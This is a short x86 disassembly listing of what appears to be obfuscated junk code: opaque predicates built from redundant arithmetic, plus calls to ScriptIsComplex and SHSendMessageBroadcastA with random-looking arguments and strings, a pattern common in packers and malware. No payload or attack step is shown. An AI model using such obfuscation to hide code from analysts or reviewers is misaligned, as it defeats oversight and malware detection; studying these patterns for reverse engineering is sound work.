mov dword [ebp - 0xa2c], str.9LNlZag6MNw
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x40]
cmp dword [ebp - 0x40], eax
je 0x406b03
mov dword [ebp - 0x584], 1
jmp 0x406b0d
mov dword [ebp - 0x584], 0
mov ecx, dword [ebp - 0x40]
imul ecx, ecx, 0x88
mov edx, dword [ebp - 0x40]
imul edx, edx, 0x42
imul edx, dword [ebp - 0x40]
cmp ecx, edx
jne 0x406b30
mov dword [ebp - 0x58c], 1
jmp 0x406b3a
mov dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x68
add eax, dword [ebp - 0x40]
cmp eax, 9
jne 0x406b54
mov dword [ebp - 0x594], 1
jmp 0x406b5e
mov dword [ebp - 0x594], 0
mov ecx, dword [ebp - 0x40]
imul ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x40]
and ecx, edx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x40]
and eax, 0x42
and eax, dword [ebp - 0x584]
and eax, dword [ebp - 0x58c]
xor ecx, eax
xor ecx, dword [ebp - 0x594]
mov dword [ebp - 0x210], ecx
mov ecx, dword [ebp - 0x210]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x210]
and edx, 1
cmp ecx, edx
je 0x406bb5
mov dword [ebp - 0x59c], 1
jmp 0x406bbf
mov dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
add eax, 0x49
mov dword [ebp - 0x210], eax
mov dword [ebp - 0xa3c], str.pdTkzDcreibwPiJmzb21fWcnDvz6hx
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
pop esi
mov esp, ebp
pop ebp
ret 0x10